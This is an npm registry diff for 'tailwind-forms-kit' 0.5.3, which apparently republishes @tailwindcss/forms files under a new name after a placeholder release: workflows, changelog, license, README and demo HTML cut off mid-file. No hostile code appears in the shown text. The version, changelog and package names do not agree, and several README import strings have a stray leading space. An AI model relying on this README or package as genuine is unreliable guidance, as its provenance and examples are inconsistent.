tailwind-forms-kit 0.0.0-stage → 0.5.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (16) hide show
  1. package/.github/ISSUE_TEMPLATE/1.bug_report.yml +38 -0
  2. package/.github/ISSUE_TEMPLATE/config.yml +11 -0
  3. package/.github/workflows/prepare-release.yml +56 -0
  4. package/.github/workflows/release-insiders.yml +42 -0
  5. package/.github/workflows/release.yml +42 -0
  6. package/CHANGELOG.md +201 -0
  7. package/LICENSE +21 -0
  8. package/README.md +141 -2
  9. package/index.html +255 -0
  10. package/kitchen-sink.html +222 -0
  11. package/package.json +43 -4
  12. package/scripts/release-channel.js +18 -0
  13. package/scripts/release-notes.js +21 -0
  14. package/src/index.d.ts +9 -0
  15. package/src/index.js +1 -0
  16. package/tailwind.config.js +9 -0
package/.github/ISSUE_TEMPLATE/1.bug_report.yml ADDED
@@ -0,0 +1,38 @@
1
+ name: Bug Report
2
+ description: Create a bug report for @tailwindcss/forms.
3
+ labels: []
4
+ body:
5
+ - type: input
6
+ attributes:
7
+ label: What version of @tailwindcss/forms are you using?
8
+ description: 'For example: v0.1.4'
9
+ validations:
10
+ required: true
11
+ - type: input
12
+ attributes:
13
+ label: What version of Node.js are you using?
14
+ description: 'For example: v12.0.0'
15
+ validations:
16
+ required: true
17
+ - type: input
18
+ attributes:
19
+ label: What browser are you using?
20
+ description: 'For example: Chrome, Safari, or N/A'
21
+ validations:
22
+ required: true
23
+ - type: input
24
+ attributes:
25
+ label: What operating system are you using?
26
+ description: 'For example: macOS, Windows'
27
+ validations:
28
+ required: true
29
+ - type: input
30
+ attributes:
31
+ label: Reproduction repository
32
+ description: A public GitHub repo that includes a minimal reproduction of the bug. Unfortunately we can't provide support without a reproduction, and your issue will be closed and locked with no comment if this is not provided.
33
+ validations:
34
+ required: true
35
+ - type: textarea
36
+ attributes:
37
+ label: Describe your issue
38
+ description: Describe the problem you're seeing, any important steps to reproduce and what behavior you expect instead
package/.github/ISSUE_TEMPLATE/config.yml ADDED
@@ -0,0 +1,11 @@
1
+ blank_issues_enabled: false
2
+ contact_links:
3
+ - name: Feature Request
4
+ url: https://github.com/tailwindlabs/tailwindcss/discussions/new?category=ideas
5
+ about: 'Suggest any ideas you have using our discussion forums.'
6
+ - name: Help
7
+ url: https://github.com/tailwindlabs/tailwindcss/discussions/new?category=help
8
+ about: 'If you have a question or need help, ask a question on the discussion forums.'
9
+ - name: Kind Words
10
+ url: https://github.com/tailwindlabs/tailwindcss/discussions/new?category=kind-words
11
+ about: "Have something nice to say about @tailwindcss/forms or Tailwind CSS in general? We'd love to hear it!"
package/.github/workflows/prepare-release.yml ADDED
@@ -0,0 +1,56 @@
1
+ name: Prepare Release
2
+
3
+ on:
4
+ workflow_dispatch:
5
+ push:
6
+ tags:
7
+ - 'v*'
8
+
9
+ permissions:
10
+ contents: read
11
+
12
+ jobs:
13
+ prepare:
14
+ permissions:
15
+ contents: write # for softprops/action-gh-release to create GitHub release
16
+
17
+ runs-on: ubuntu-latest
18
+
19
+ strategy:
20
+ matrix:
21
+ node-version: [22]
22
+
23
+ steps:
24
+ - uses: actions/checkout@v4
25
+
26
+ - name: Use Node.js ${{ matrix.node-version }}
27
+ uses: actions/setup-node@v4
28
+ with:
29
+ node-version: ${{ matrix.node-version }}
30
+ registry-url: 'https://registry.npmjs.org'
31
+ cache: 'npm'
32
+
33
+ - name: Install dependencies
34
+ run: npm install
35
+
36
+ - name: Test
37
+ run: npm test
38
+
39
+ - name: Resolve version
40
+ id: vars
41
+ run: |
42
+ echo "TAG_NAME=$(git describe --tags --abbrev=0)" >> $GITHUB_ENV
43
+
44
+ - name: Get release notes
45
+ run: |
46
+ RELEASE_NOTES=$(npm run release-notes --silent)
47
+ echo "RELEASE_NOTES<<EOF" >> $GITHUB_ENV
48
+ echo "$RELEASE_NOTES" >> $GITHUB_ENV
49
+ echo "EOF" >> $GITHUB_ENV
50
+
51
+ - name: Release
52
+ uses: softprops/action-gh-release@v1
53
+ with:
54
+ draft: true
55
+ tag_name: ${{ env.TAG_NAME }}
56
+ body: ${{ env.RELEASE_NOTES }}
package/.github/workflows/release-insiders.yml ADDED
@@ -0,0 +1,42 @@
1
+ name: Release Insiders
2
+
3
+ on:
4
+ push:
5
+ branches: [main]
6
+
7
+ permissions:
8
+ contents: read
9
+ id-token: write
10
+
11
+ jobs:
12
+ build:
13
+ runs-on: ubuntu-latest
14
+
15
+ strategy:
16
+ matrix:
17
+ node-version: [22]
18
+
19
+ steps:
20
+ - uses: actions/checkout@v4
21
+
22
+ - name: Use Node.js ${{ matrix.node-version }}
23
+ uses: actions/setup-node@v4
24
+ with:
25
+ node-version: ${{ matrix.node-version }}
26
+ registry-url: 'https://registry.npmjs.org'
27
+ cache: 'npm'
28
+
29
+ - name: Install dependencies
30
+ run: npm install
31
+
32
+ - name: Resolve version
33
+ id: vars
34
+ run: echo "::set-output name=sha_short::$(git rev-parse --short HEAD)"
35
+
36
+ - name: 'Version based on commit: 0.0.0-insiders.${{ steps.vars.outputs.sha_short }}'
37
+ run: npm version 0.0.0-insiders.${{ steps.vars.outputs.sha_short }} --force --no-git-tag-version
38
+
39
+ - name: Publish
40
+ run: npm publish --provenance --tag insiders
41
+ env:
42
+ NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
package/.github/workflows/release.yml ADDED
@@ -0,0 +1,42 @@
1
+ name: Release
2
+
3
+ on:
4
+ release:
5
+ types: [published]
6
+
7
+ permissions:
8
+ contents: read
9
+ id-token: write
10
+
11
+ jobs:
12
+ build:
13
+ runs-on: ubuntu-latest
14
+
15
+ strategy:
16
+ matrix:
17
+ node-version: [22]
18
+
19
+ steps:
20
+ - uses: actions/checkout@v4
21
+
22
+ - name: Use Node.js ${{ matrix.node-version }}
23
+ uses: actions/setup-node@v4
24
+ with:
25
+ node-version: ${{ matrix.node-version }}
26
+ registry-url: 'https://registry.npmjs.org'
27
+ cache: 'npm'
28
+
29
+ - name: Install dependencies
30
+ run: npm install
31
+
32
+ - name: Test
33
+ run: npm test
34
+
35
+ - name: Calculate environment variables
36
+ run: |
37
+ echo "RELEASE_CHANNEL=$(npm run release-channel --silent)" >> $GITHUB_ENV
38
+
39
+ - name: Publish
40
+ run: npm publish --provenance --tag ${{ env.RELEASE_CHANNEL }}
41
+ env:
42
+ NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
package/CHANGELOG.md ADDED
@@ -0,0 +1,201 @@
1
+ # Changelog
2
+
3
+ All notable changes to this project will be documented in this file.
4
+
5
+ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
+ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
+
8
+ ## [Unreleased]
9
+
10
+ - Nothing yet!
11
+
12
+ ## [0.5.11] - 2025-12-17
13
+
14
+ ### Fixed
15
+
16
+ - Limit attribute rules to input and select elements ([#159](https://github.com/tailwindlabs/tailwindcss-forms/pull/159))
17
+
18
+ ## [0.5.10] - 2025-01-07
19
+
20
+ ### Fixed
21
+
22
+ - Support installing with beta versions of Tailwind CSS v4 ([#163](https://github.com/tailwindlabs/tailwindcss-forms/pull/163))
23
+
24
+ ## [0.5.9] - 2024-09-05
25
+
26
+ ### Fixed
27
+
28
+ - Fallback to static chevron color if theme is using variables ([#167](https://github.com/tailwindlabs/tailwindcss-forms/pull/167))
29
+
30
+ ## [0.5.8] - 2024-08-28
31
+
32
+ ### Fixed
33
+
34
+ - Support installing with alpha versions of Tailwind CSS v4 ([#163](https://github.com/tailwindlabs/tailwindcss-forms/pull/163))
35
+
36
+ ## [0.5.7] - 2023-11-10
37
+
38
+ ### Fixed
39
+
40
+ - Use normal `checkbox` and `radio` appearance in `forced-colors` mode ([#152](https://github.com/tailwindlabs/tailwindcss-forms/pull/152))
41
+
42
+ ## [0.5.6] - 2023-08-28
43
+
44
+ ### Fixed
45
+
46
+ - Fix date time bottom spacing on MacOS Safari ([#146](https://github.com/tailwindlabs/tailwindcss-forms/pull/146))
47
+
48
+ ## [0.5.5] - 2023-08-22
49
+
50
+ ### Fixed
51
+
52
+ - Fix text alignment on date and time inputs on iOS ([#144](https://github.com/tailwindlabs/tailwindcss-forms/pull/144))
53
+
54
+ ## [0.5.4] - 2023-07-13
55
+
56
+ ### Fixed
57
+
58
+ - Remove chevron for selects with a non-default size ([#137](https://github.com/tailwindlabs/tailwindcss-forms/pull/137))
59
+ - Allow for <input> without `type` ([#141](https://github.com/tailwindlabs/tailwindcss-forms/pull/141))
60
+
61
+ ## [0.5.3] - 2022-09-02
62
+
63
+ ### Fixed
64
+
65
+ - Update TypeScript types ([#126](https://github.com/tailwindlabs/tailwindcss-forms/pull/126))
66
+
67
+ ## [0.5.2] - 2022-05-18
68
+
69
+ ### Added
70
+
71
+ - Add TypeScript type declarations ([#118](https://github.com/tailwindlabs/tailwindcss-forms/pull/118))
72
+
73
+ ## [0.5.1] - 2022-05-03
74
+
75
+ ### Fixed
76
+
77
+ - Remove duplicate `outline` property ([#116](https://github.com/tailwindlabs/tailwindcss-forms/pull/116))
78
+ - Fix autoprefixer warning about `color-adjust` ([#115](https://github.com/tailwindlabs/tailwindcss-forms/pull/115))
79
+
80
+ ## [0.5.0] - 2022-03-02
81
+
82
+ ### Changed
83
+
84
+ - Generate both global styles and classes by default ([#71](https://github.com/tailwindlabs/tailwindcss-forms/pull/71))
85
+
86
+ ## [0.4.1] - 2022-03-02
87
+
88
+ ### Added
89
+
90
+ - Remove `dist` folder and related dependencies ([#96](https://github.com/tailwindlabs/tailwindcss-forms/pull/96))
91
+
92
+ ### Fixed
93
+
94
+ - Use `addComponents` for class strategy ([#91](https://github.com/tailwindlabs/tailwindcss-forms/pull/91))
95
+ - Fix extra height on Safari date/time inputs ([#109](https://github.com/tailwindlabs/tailwindcss-forms/pull/109))
96
+
97
+ ## [0.4.0] - 2021-12-09
98
+
99
+ ### Changed
100
+
101
+ - Update color palette references for v3 ([#83](https://github.com/tailwindlabs/tailwindcss-forms/pull/83))
102
+ - Don't read outline.none value from config ([#89](https://github.com/tailwindlabs/tailwindcss-forms/pull/89))
103
+
104
+ ## [0.3.4] - 2021-09-28
105
+
106
+ ### Fixed
107
+
108
+ - Fix compatibility with `optimizeUniversalDefaults` experimental feature in Tailwind CSS v2.2 ([#81](https://github.com/tailwindlabs/tailwindcss-forms/pull/81))
109
+
110
+ ## [0.3.3] - 2021-06-03
111
+
112
+ ### Fixed
113
+
114
+ - Fix typo in selector when using `class` strategy that breaks background colors on checkboxes and radio buttons ([#72](https://github.com/tailwindlabs/tailwindcss-forms/pull/72))
115
+
116
+ ## [0.3.2] - 2021-03-26
117
+
118
+ ### Fixed
119
+
120
+ - Filter `null` rules for JIT compatibility ([b4c4e03](https://github.com/tailwindlabs/tailwindcss-forms/commit/b4c4e039337c3a5599f5b6d9eabbcc8ab9e8c8d9))
121
+
122
+ ## [0.3.1] - 2021-03-26
123
+
124
+ ### Fixed
125
+
126
+ - Use `base` as default strategy, not `class` ([#61](https://github.com/tailwindlabs/tailwindcss-forms/pull/61))
127
+
128
+ ## [0.3.0] - 2021-03-25
129
+
130
+ ### Added
131
+
132
+ - Add `class` strategy for you babies and your custom select and date picker libraries ;) ([#39](https://github.com/tailwindlabs/tailwindcss-forms/pull/39))
133
+
134
+ ## [0.2.1] - 2020-11-17
135
+
136
+ ### Fixed
137
+
138
+ - Fix issue where default checkbox/radio border color took precedence over user border color on focus ([d0b9fd9](https://github.com/tailwindlabs/tailwindcss-forms/commit/d0b9fd9))
139
+
140
+ ## [0.2.0] - 2020-11-16
141
+
142
+ ### Changed
143
+
144
+ - Update form styles to be less opinionated and encourage custom styling ([3288709](https://github.com/tailwindlabs/tailwindcss-forms/commit/3288709b59f4101511ec19f30cb2dafe7738251e))
145
+ - Update custom property names to match namespaced variables in Tailwind CSS v2.0 ([adb9807](https://github.com/tailwindlabs/tailwindcss-forms/commit/adb98078fc830d0416cb5ea2c895e997d5f0a5ec), [bbd8510](https://github.com/tailwindlabs/tailwindcss-forms/commit/bbd85102ef4a402b3c39d997c025208a33694cc4))
146
+
147
+ ## [0.1.4] - 2020-11-12
148
+
149
+ ### Fixed
150
+
151
+ - Fix SVG background images not rendering properly in all browsers ([#5](https://github.com/tailwindlabs/tailwindcss-forms/pull/5))
152
+
153
+ ## [0.1.3] - 2020-11-12
154
+
155
+ ### Changed
156
+
157
+ - Update focus styles to account for changes to `ring` API in latest Tailwind CSS 2.0 alpha ([5c16689](https://github.com/tailwindlabs/tailwindcss-forms/commit/5c166896b06475832bd8364f9f3ef5c4baec585f))
158
+
159
+ ## [0.1.2] - 2020-11-11
160
+
161
+ ### Fixed
162
+
163
+ - Work around iOS Safari bug that causes date inputs to render with no height when empty ([b98365b](https://github.com/tailwindlabs/tailwindcss-forms/commit/b98365b903b586bfbe7a6ae745ba64b5d87e23e3))
164
+
165
+ ## [0.1.1] - 2020-11-11
166
+
167
+ ### Changed
168
+
169
+ - Move `tailwindcss` to dependencies, hoping to get it working with Tailwind Play ([d625ea1](https://github.com/tailwindlabs/tailwindcss-forms/commit/d625ea11bd111a4d8cde937e36f3d229ecdf7c6a))
170
+
171
+ ## [0.1.0] - 2020-11-11
172
+
173
+ Initial release!
174
+
175
+ [unreleased]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.11...HEAD
176
+ [0.5.11]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.10...v0.5.11
177
+ [0.5.10]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.9...v0.5.10
178
+ [0.5.9]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.8...v0.5.9
179
+ [0.5.8]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.7...v0.5.8
180
+ [0.5.7]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.6...v0.5.7
181
+ [0.5.6]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.5...v0.5.6
182
+ [0.5.5]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.4...v0.5.5
183
+ [0.5.4]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.3...v0.5.4
184
+ [0.5.3]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.2...v0.5.3
185
+ [0.5.2]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.1...v0.5.2
186
+ [0.5.1]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.5.0...v0.5.1
187
+ [0.5.0]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.4.1...v0.5.0
188
+ [0.4.1]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.4.0...v0.4.1
189
+ [0.4.0]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.3.3...v0.4.0
190
+ [0.3.4]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.3.3...v0.3.4
191
+ [0.3.3]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.3.2...v0.3.3
192
+ [0.3.2]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.3.1...v0.3.2
193
+ [0.3.1]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.3.0...v0.3.1
194
+ [0.3.0]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.2.1...v0.3.0
195
+ [0.2.1]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.2.0...v0.2.1
196
+ [0.2.0]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.1.4...v0.2.0
197
+ [0.1.4]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.1.3...v0.1.4
198
+ [0.1.3]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.1.2...v0.1.3
199
+ [0.1.2]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.1.1...v0.1.2
200
+ [0.1.1]: https://github.com/tailwindlabs/tailwindcss-forms/compare/v0.1.0...v0.1.1
201
+ [0.1.0]: https://github.com/tailwindlabs/tailwindcss-forms/releases/tag/v0.1.0
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) Tailwind Labs, Inc.
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md CHANGED
@@ -1,3 +1,142 @@
1
- # Temporary Holding Version
1
+ # tailwind-forms-kit
2
2
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
3
+ A plugin that provides a basic reset for form styles that makes form elements easy to override with utilities.
4
+
5
+ ## Installation
6
+
7
+ Install the plugin from npm:
8
+
9
+ ```sh
10
+ npm install -D tailwind-forms-kit
11
+ ```
12
+
13
+ Then, when using Tailwind CSS v4, add the plugin to your main stylesheet:
14
+
15
+ ```css
16
+ /* app.css */
17
+ @import "tailwindcss";
18
+ @plugin " tailwind-forms-kit";
19
+ ```
20
+
21
+ If you are still using **Tailwind CSS v3**, add the plugin to your `tailwind.config.js` file:
22
+
23
+ ```js
24
+ // tailwind.config.js
25
+ module.exports = {
26
+ theme: {
27
+ // ...
28
+ },
29
+ plugins: [
30
+ require(' tailwind-forms-kit'),
31
+ // ...
32
+ ],
33
+ }
34
+ ```
35
+
36
+ ## Basic usage
37
+
38
+ [**View the live demo**](https:// tailwind-forms-kit.vercel.app/)
39
+
40
+ All of the basic form elements you use will now have some simple default styles that are easy to override with utilities.
41
+
42
+ Currently we add basic utility-friendly form styles for the following form element types:
43
+
44
+ - `input[type='text']`
45
+ - `input[type='password']`
46
+ - `input[type='email']`
47
+ - `input[type='number']`
48
+ - `input[type='url']`
49
+ - `input[type='date']`
50
+ - `input[type='datetime-local']`
51
+ - `input[type='month']`
52
+ - `input[type='week']`
53
+ - `input[type='time']`
54
+ - `input[type='search']`
55
+ - `input[type='tel']`
56
+ - `input[type='checkbox']`
57
+ - `input[type='radio']`
58
+ - `select`
59
+ - `select[multiple]`
60
+ - `textarea`
61
+
62
+ Every element has been normalized/reset to a simple visually consistent style that is easy to customize with utilities, even elements like `<select>` or `<input type="checkbox">` that normally need to be reset with `appearance: none` and customized using custom CSS:
63
+
64
+ ```html
65
+ <!-- You can actually customize padding on a select element now: -->
66
+ <select class="rounded-full px-4 py-3">
67
+ <!-- ... -->
68
+ </select>
69
+
70
+ <!-- Or change a checkbox color using text color utilities: -->
71
+ <input type="checkbox" class="rounded text-pink-500" />
72
+ ```
73
+
74
+ More customization examples and best practices coming soon.
75
+
76
+ ### Using classes to style
77
+
78
+ In addition to the global styles, we also generate a set of corresponding classes which can be used to explicitly apply the form styles to an element. This can be useful in situations where you need to make a non-form element, such as a `<div>`, look like a form element.
79
+
80
+ ```html
81
+ <input type="email" class="form-input rounded-full px-4 py-3" />
82
+
83
+ <select class="form-select rounded-full px-4 py-3">
84
+ <!-- ... -->
85
+ </select>
86
+
87
+ <input type="checkbox" class="form-checkbox rounded text-pink-500" />
88
+ ```
89
+
90
+ Here is a complete table of the provided `form-*` classes for reference:
91
+
92
+ | Base | Class |
93
+ | ------------------------- | ------------------ |
94
+ | `[type='text']` | `form-input` |
95
+ | `[type='email']` | `form-input` |
96
+ | `[type='url']` | `form-input` |
97
+ | `[type='password']` | `form-input` |
98
+ | `[type='number']` | `form-input` |
99
+ | `[type='date']` | `form-input` |
100
+ | `[type='datetime-local']` | `form-input` |
101
+ | `[type='month']` | `form-input` |
102
+ | `[type='search']` | `form-input` |
103
+ | `[type='tel']` | `form-input` |
104
+ | `[type='time']` | `form-input` |
105
+ | `[type='week']` | `form-input` |
106
+ | `textarea` | `form-textarea` |
107
+ | `select` | `form-select` |
108
+ | `select[multiple]` | `form-multiselect` |
109
+ | `[type='checkbox']` | `form-checkbox` |
110
+ | `[type='radio']` | `form-radio` |
111
+
112
+ ### Using only global styles or only classes
113
+
114
+ Although we recommend thinking of this plugin as a "form reset" rather than a collection of form component styles, in some cases our default approach may be too heavy-handed, especially when integrating this plugin into existing projects.
115
+
116
+ If generating both the global (base) styles and classes doesn't work well with your project, you can use the `strategy` option to limit the plugin to just one of these approaches.
117
+
118
+ When using Tailwind CSS v4, configure the plugin in your main stylesheet:
119
+
120
+ ```css
121
+ /* app.css */
122
+ @plugin " tailwind-forms-kit" {
123
+ strategy: "base"; /* only generate global styles; or */
124
+ strategy: "class"; /* only generate classes */
125
+ }
126
+ ```
127
+
128
+ If you are still using **Tailwind CSS v3**, configure the plugin in your `tailwind.config.js` file:
129
+
130
+ ```js
131
+ // tailwind.config.js
132
+ plugins: [
133
+ require(" tailwind-forms-kit")({
134
+ strategy: 'base', // only generate global styles
135
+ strategy: 'class', // only generate classes
136
+ }),
137
+ ],
138
+ ```
139
+
140
+ When using the `base` strategy, form elements are styled globally, and no `form-{name}` classes are generated.
141
+
142
+ When using the `class` strategy, form elements are not styled globally, and instead must be styled using the generated `form-{name}` classes.
package/index.html ADDED
@@ -0,0 +1,255 @@
1
+ <!doctype html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8" />
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0" />
6
+ <title>@tailwindcss/forms examples</title>
7
+ <link rel="stylesheet" href="/dist/tailwind.css" />
8
+ </head>
9
+ <body>
10
+ <div class="px-6 text-gray-900 antialiased">
11
+ <div class="mx-auto max-w-xl divide-y py-12 md:max-w-4xl">
12
+ <div class="py-8">
13
+ <h1 class="text-4xl font-bold">@tailwindcss/forms examples</h1>
14
+ <p class="mt-2 text-lg text-gray-600">
15
+ An opinionated form reset designed to make form elements easy to style with utility
16
+ classes.
17
+ </p>
18
+ <div class="mt-4 flex space-x-4">
19
+ <a class="text-lg underline" href="https://github.com/tailwindlabs/tailwindcss-forms"
20
+ >Documentation</a
21
+ >
22
+ <a class="text-lg underline" href="/kitchen-sink.html">Kitchen Sink</a>
23
+ </div>
24
+ </div>
25
+ <div class="py-12">
26
+ <h2 class="text-2xl font-bold">Unstyled</h2>
27
+ <p class="mt-2 text-lg text-gray-600">This is how form elements look out of the box.</p>
28
+ <div class="mt-8 max-w-md">
29
+ <div class="grid grid-cols-1 gap-6">
30
+ <label class="block">
31
+ <span class="text-gray-700">Full name</span>
32
+ <input type="text" class="mt-1 block w-full" placeholder="" />
33
+ </label>
34
+ <label class="block">
35
+ <span class="text-gray-700">Email address</span>
36
+ <input type="email" class="mt-1 block w-full" placeholder="john@example.com" />
37
+ </label>
38
+ <label class="block">
39
+ <span class="text-gray-700">When is your event?</span>
40
+ <input type="date" class="mt-1 block w-full" />
41
+ </label>
42
+ <label class="block">
43
+ <span class="text-gray-700">What type of event is it?</span>
44
+ <select class="mt-1 block w-full">
45
+ <option>Corporate event</option>
46
+ <option>Wedding</option>
47
+ <option>Birthday</option>
48
+ <option>Other</option>
49
+ </select>
50
+ </label>
51
+ <label class="block">
52
+ <span class="text-gray-700">Additional details</span>
53
+ <textarea class="mt-1 block w-full" rows="3"></textarea>
54
+ </label>
55
+ <div class="block">
56
+ <div class="mt-2">
57
+ <div>
58
+ <label class="inline-flex items-center">
59
+ <input type="checkbox" checked />
60
+ <span class="ml-2">Email me news and special offers</span>
61
+ </label>
62
+ </div>
63
+ </div>
64
+ </div>
65
+ </div>
66
+ </div>
67
+ </div>
68
+ <div class="py-12">
69
+ <h2 class="text-2xl font-bold">Simple</h2>
70
+ <div class="mt-8 max-w-md">
71
+ <div class="grid grid-cols-1 gap-6">
72
+ <label class="block">
73
+ <span class="text-gray-700">Full name</span>
74
+ <input
75
+ type="text"
76
+ class="mt-1 block w-full rounded-md border-gray-300 shadow-sm focus:border-indigo-300 focus:ring focus:ring-indigo-200 focus:ring-opacity-50"
77
+ placeholder=""
78
+ />
79
+ </label>
80
+ <label class="block">
81
+ <span class="text-gray-700">Email address</span>
82
+ <input
83
+ type="email"
84
+ class="mt-1 block w-full rounded-md border-gray-300 shadow-sm focus:border-indigo-300 focus:ring focus:ring-indigo-200 focus:ring-opacity-50"
85
+ placeholder="john@example.com"
86
+ />
87
+ </label>
88
+ <label class="block">
89
+ <span class="text-gray-700">When is your event?</span>
90
+ <input
91
+ type="date"
92
+ class="mt-1 block w-full rounded-md border-gray-300 shadow-sm focus:border-indigo-300 focus:ring focus:ring-indigo-200 focus:ring-opacity-50"
93
+ />
94
+ </label>
95
+ <label class="block">
96
+ <span class="text-gray-700">What type of event is it?</span>
97
+ <select
98
+ class="mt-1 block w-full rounded-md border-gray-300 shadow-sm focus:border-indigo-300 focus:ring focus:ring-indigo-200 focus:ring-opacity-50"
99
+ >
100
+ <option>Corporate event</option>
101
+ <option>Wedding</option>
102
+ <option>Birthday</option>
103
+ <option>Other</option>
104
+ </select>
105
+ </label>
106
+ <label class="block">
107
+ <span class="text-gray-700">Additional details</span>
108
+ <textarea
109
+ class="mt-1 block w-full rounded-md border-gray-300 shadow-sm focus:border-indigo-300 focus:ring focus:ring-indigo-200 focus:ring-opacity-50"
110
+ rows="3"
111
+ ></textarea>
112
+ </label>
113
+ <div class="block">
114
+ <div class="mt-2">
115
+ <div>
116
+ <label class="inline-flex items-center">
117
+ <input
118
+ type="checkbox"
119
+ class="rounded border-gray-300 text-indigo-600 shadow-sm focus:border-indigo-300 focus:ring focus:ring-indigo-200 focus:ring-opacity-50 focus:ring-offset-0"
120
+ checked
121
+ />
122
+ <span class="ml-2">Email me news and special offers</span>
123
+ </label>
124
+ </div>
125
+ </div>
126
+ </div>
127
+ </div>
128
+ </div>
129
+ </div>
130
+ <div class="py-12">
131
+ <h2 class="text-2xl font-bold">Underline</h2>
132
+ <div class="mt-8 max-w-md">
133
+ <div class="grid grid-cols-1 gap-6">
134
+ <label class="block">
135
+ <span class="text-gray-700">Full name</span>
136
+ <input
137
+ type="text"
138
+ class="mt-0 block w-full border-0 border-b-2 border-gray-200 px-0.5 focus:border-black focus:ring-0"
139
+ placeholder=""
140
+ />
141
+ </label>
142
+ <label class="block">
143
+ <span class="text-gray-700">Email address</span>
144
+ <input
145
+ type="email"
146
+ class="mt-0 block w-full border-0 border-b-2 border-gray-200 px-0.5 focus:border-black focus:ring-0"
147
+ placeholder="john@example.com"
148
+ />
149
+ </label>
150
+ <label class="block">
151
+ <span class="text-gray-700">When is your event?</span>
152
+ <input
153
+ type="date"
154
+ class="mt-0 block w-full border-0 border-b-2 border-gray-200 px-0.5 focus:border-black focus:ring-0"
155
+ />
156
+ </label>
157
+ <label class="block">
158
+ <span class="text-gray-700">What type of event is it?</span>
159
+ <select
160
+ class="mt-0 block w-full border-0 border-b-2 border-gray-200 pl-0.5 pr-10 focus:border-black focus:ring-0"
161
+ >
162
+ <option>Corporate event</option>
163
+ <option>Wedding</option>
164
+ <option>Birthday</option>
165
+ <option>Other</option>
166
+ </select>
167
+ </label>
168
+ <label class="block">
169
+ <span class="text-gray-700">Additional details</span>
170
+ <textarea
171
+ class="mt-0 block w-full border-0 border-b-2 border-gray-200 px-0.5 focus:border-black focus:ring-0"
172
+ rows="2"
173
+ ></textarea>
174
+ </label>
175
+ <div class="block">
176
+ <div class="mt-2">
177
+ <div>
178
+ <label class="inline-flex items-center">
179
+ <input
180
+ type="checkbox"
181
+ class="border-2 border-gray-300 text-black focus:border-gray-300 focus:ring-black"
182
+ />
183
+ <span class="ml-2">Email me news and special offers</span>
184
+ </label>
185
+ </div>
186
+ </div>
187
+ </div>
188
+ </div>
189
+ </div>
190
+ </div>
191
+ <div class="py-12">
192
+ <h2 class="text-2xl font-bold">Solid</h2>
193
+ <div class="mt-8 max-w-md">
194
+ <div class="grid grid-cols-1 gap-6">
195
+ <label class="block">
196
+ <span class="text-gray-700">Full name</span>
197
+ <input
198
+ type="text"
199
+ class="mt-1 block w-full rounded-md border-transparent bg-gray-100 focus:border-gray-500 focus:bg-white focus:ring-0"
200
+ placeholder=""
201
+ />
202
+ </label>
203
+ <label class="block">
204
+ <span class="text-gray-700">Email address</span>
205
+ <input
206
+ type="email"
207
+ class="mt-1 block w-full rounded-md border-transparent bg-gray-100 focus:border-gray-500 focus:bg-white focus:ring-0"
208
+ placeholder="john@example.com"
209
+ />
210
+ </label>
211
+ <label class="block">
212
+ <span class="text-gray-700">When is your event?</span>
213
+ <input
214
+ type="date"
215
+ class="mt-1 block w-full rounded-md border-transparent bg-gray-100 focus:border-gray-500 focus:bg-white focus:ring-0"
216
+ />
217
+ </label>
218
+ <label class="block">
219
+ <span class="text-gray-700">What type of event is it?</span>
220
+ <select
221
+ class="mt-1 block w-full rounded-md border-transparent bg-gray-100 focus:border-gray-500 focus:bg-white focus:ring-0"
222
+ >
223
+ <option>Corporate event</option>
224
+ <option>Wedding</option>
225
